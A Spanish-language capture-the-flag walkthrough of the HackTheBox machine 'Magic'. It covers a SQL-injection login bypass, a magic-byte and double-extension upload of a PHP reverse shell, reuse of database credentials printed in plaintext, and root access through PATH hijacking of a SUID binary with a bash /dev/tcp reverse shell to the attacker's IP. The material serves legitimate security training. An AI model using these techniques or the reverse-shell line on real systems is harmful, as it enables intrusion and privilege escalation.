Maquina Magic
- OS: Linux
- Plataforma: HackTheBox
- Nivel: Medium
- Tags: #file-upload #sqli #magic-numbers #suid #ltrace #php
Reconocimiento¶
Comienzo con un ping para comprobar la conectividad.
┌──(wndr㉿wndr)-[~/Machines/hackthebox/magic]
└─$ ping -c 1 10.129.9.6
PING 10.129.9.6 (10.129.9.6) 56(84) bytes of data.
64 bytes from 10.129.9.6: icmp_seq=1 ttl=63 time=88.6 ms
--- 10.129.9.6 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 88.610/88.610/88.610/0.000 ms
Ahora tiro un escaneo con nmap para ver que puertos tenemos abiertos.
┌──(wndr㉿wndr)-[~/Machines/hackthebox/magic]
└─$ sudo nmap -p- -Pn -n -sS --min-rate 5000 -vvv 10.129.9.6 -oG nmap/allPorts
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Sobre los puertos abiertos realizo un segundo escaneo para detectar servicios, versiones y correr un conjunto de scripts de reconocimiento.
┌──(wndr㉿wndr)-[~/Machines/hackthebox/magic]
└─$ sudo nmap -p 22,80 -sV -sC -Pn -n -sS -vvv 10.129.9.6 -oN nmap/target
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4ApnGnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
| 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Puerto 22 SSH OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
- Puerto 80 HTTP Apache httpd 2.4.29
Enumeración¶
Puerto 80 HTTP¶
La pagina al parecer es una galería de imagenes.
También existe un tab de login.
Tecnologias Web.¶
Mediante los headers me puedo dar cuenta que la web corre sobre un Apache 2.4.29 - PHP.
┌──(venv)─(wndr㉿wndr)-[~/Machines/hackthebox/magic/CVE-2018-15473]
└─$ curl -I http://10.129.9.6/
HTTP/1.1 200 OK
Date: Mon, 02 Feb 2026 01:56:39 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Fuzzing¶
Realice fuzzing para descubrir posibles directorios ocultos y lo único destacable es el directorio de uploads.
┌──(venv)─(wndr㉿wndr)-[~/Machines/hackthebox/magic/CVE-2018-15473]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://magic.htb/FUZZ -e .php,.txt,.html,.js,.git
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev'
________________________________________________
:: Method : GET
:: URL : http://magic.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
:: Extensions : .php .txt .html .js .git
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 88ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 102ms]
login.php [Status: 200, Size: 4221, Words: 1179, Lines: 118, Duration: 102ms]
assets [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 88ms]
upload.php [Status: 302, Size: 2957, Words: 814, Lines: 85, Duration: 123ms]
index.php [Status: 200, Size: 4053, Words: 491, Lines: 60, Duration: 114ms]
server-status [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 90ms]
Acceso Inicial.¶
Bypasse de manera sencilla el login con una SQLi:
Al bypassear el login puedo acceder a la tab de subir una imagen.
Probé la subida de archivos y pude ver que:
- La web solo acepta
PNG,JPGyJPEG - Si trato de subir cualquier otro archivo que no sea un PNG, JPG Y JPEG obtengo una alerta de que este tipo de archivos no se aceptan.
Al subir una imagen puedo verla reflejada en la pagina main:
El codigo fuente me revela la ruta donde se sube mi imagen
Puedo tratar de bypassear la restricciones de extensión haciendo uso de los MagicNumbers.
- Los "Magic Numbers" no son mas que los primeros bytes de un archivo que los sistemas operativos utilizan para identificar el tipo de archivo, en este caso usamos el correspondiente para JPG, JPEG.
Aparte de los magic numbers jugamos con la doble extensión para pasar las validaciones.
El payload se mira asi:
- Primero los magic numbers
- Segundo la reverse shell de PentestMonkey
- Al subirla podemos ver que nos regresa un "The file reev.php.png has been uploaded."
Ahora me voy a poner en escucha:
y puedo acceder a mi reverse-shell desde la web.
Obtengo conexión:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/magic]
└─$ sudo nc -nlvp 9001
[sudo] password for wndr:
listening on [any] 9001 ...
connect to [10.10.16.57] from (UNKNOWN) [10.129.9.6] 50780
Linux ubuntu 5.3.0-42-generic #34~18.04.1-Ubuntu SMP Fri Feb 28 13:42:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
18:53:04 up 1:30, 0 users, load average: 0.00, 0.04, 0.17
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Escalada de Privilegios.¶
En el directorio home puedo ver que existe otro usuario llamado theseus
También puedo ver que en el directorio de la web /var/www/Magic se encuentra un archivo llamado db.php5 que corresponde a la conexion de la web hacia la base de datos.
- Es el usuario
theseusquien se conecta a la base de datos Magic.
www-data@ubuntu:/var/www/Magic$ ls
assets db.php5 images index.php login.php logout.php upload.php
www-data@ubuntu:/var/www/Magic$ cat db.php5
<?php
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
private static $cont = null;
public function __construct() {
die('Init function is not allowed');
}
public static function connect()
{
// One connection through whole application
if ( null == self::$cont )
{
try
{
self::$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
}
catch(PDOException $e)
{
die($e->getMessage());
}
}
return self::$cont;
}
public static function disconnect()
{
self::$cont = null;
}
}
Probé reutilizar esa contraseña para migrar al usuario theseus pero no tuve éxito.
Enumerando los servicios puedo ver que mysql esta corriendo por el puerto 3306.
www-data@ubuntu:/var/www/Magic$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 127.0.0.1:631 0.0.0.0:*
LISTEN 0 128 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 5 [::1]:631 [::]:*
La maquina no tiene msql client por lo cual no puedo interactuar con la base de datos de manera interactiva.
Pero si puedo interactuar con la base de datos a través de PHP.
www-data@ubuntu:/var/www/Magic$ php -r '$conn = new PDO("mysql:host=localhost;dbname=Magic", "theseus", "iamkingtheseus"); $stmt = $conn->query("SHOW TABLES"); while($row = $stmt->fetch()) print_r($row);'
Array
(
[Tables_in_Magic] => login
[0] => login
)
www-data@ubuntu:/var/www/Magic$ php -r '$conn = new PDO("mysql:host=localhost;dbname=Magic", "theseus", "iamkingtheseus"); $stmt = $conn->query("SELECT * FROM login"); while($row = $stmt->fetch(PDO::FETCH_ASSOC)) print_r($row);'
Array
(
[id] => 1
[username] => admin
[password] => Th3s3usW4sK1ng
)
- Existía una tabla llamado login que contenía credenciales para un usuario admin.
Reutilicé esta contraseña para migrar al usuario theseus.
- theseus / Th3s3usW4sK1ng
www-data@ubuntu:/var/www/Magic$ su theseus
Password:
theseus@ubuntu:/var/www/Magic$ id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)
Voy a generar una clave SSH para colocarla en el authorized_keys y obtener una shell mas estable (esto no es necesario para migrar a root, solo es comodidad).
┌──(wndr㉿wndr)-[~/Machines/hackthebox/magic]
└─$ ssh-keygen
┌──(wndr㉿wndr)-[~/Machines/hackthebox/magic]
└─$ sudo python3 -m http.server 80
theseus@ubuntu:/.ssh$ wget http://10.10.16.57/id_rsa.pub
theseus@ubuntu:/.ssh$ mv id_rsa.pub authorized_keys
En tema de binarios SUID tenemos un montón, pero destaca el binario no estándar sysinfo
theseus@ubuntu:/home$ find / -perm -4000 2>/dev/null
/bin/sysinfo
theseus@ubuntu:/home$ ls -la /bin/sysinfo
-rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo
Al ejecutarlo me muestra un montón de estadísticas y monitoreo de hardware
theseus@ubuntu:/dev/shm$ sysinfo
====================Disk Info====================
Disk /dev/loop0: 160.2 MiB, 167931904 bytes, 327992 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop1: 91.4 MiB, 95805440 bytes, 187120 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop2: 2.5 MiB, 2621440 bytes, 5120 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
- Este binario no tiene una flag
-hni-vsolo puedo ejecutarlo y ver informacion del sistema.
Debuggeando con ltrace.¶
Por lo cual puedo utilizar ltrace que es una herramienta que nos ayuda a debuggear un binario y ver que llamadas hace a bibliotecas externas.
theseus@ubuntu:~$ ltrace sysinfo
_ZNSt8ios_base4InitC1Ev(0x556f6bd22131, 0xffff, 0x7ffcac6a3558, 128) = 0
__cxa_atexit(0x7ffba9dc8a40, 0x556f6bd22131, 0x556f6bd22008, 6) = 0
setuid(0) = -1
setgid(0) = -1
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x556f6bd22020, 0x556f6bb208f8, -160, 0) = 0x556f6bd22020
_ZNSolsEPFRSoS_E(0x556f6bd22020, 0x7ffba9e38870, 0x556f6bd22020, 0x556f6bb2092d====================Hardware Info====================
) = 0x556f6bd22020
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev(0x7ffcac6a3420, 0x556f6bb2092e, 0, 2880) = 0x7ffcac6a3430
popen("lshw -short", "r")
- sysinfo llamada a
popeny ejecuta el comandolshwsin ruta absoluta.
Path Hijacking.¶
El hecho de que el binario ejecute lshw sin especificar una ruta absoluta implica que es posible crear un binario malicioso con el mismo nombre (lshw) y manipular la variable de entorno PATH para que priorice la ejecución de dicho binario.
- Voy a crear un binario con el mismo nombre para entablarme una reverse-shell y manipular la path.
theseus@ubuntu:/dev/shm$ cat lshw
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.57/7001 0>&1'
theseus@ubuntu:/dev/shm$ export PATH=/dev/shm:$PATH
theseus@ubuntu:/dev/shm$ chmod +x lshw
Me tengo que poner en escucha:
Y ahora puedo ejecutar sysinfo:
- Se queda pegado
Y en el listener obtengo conexión.






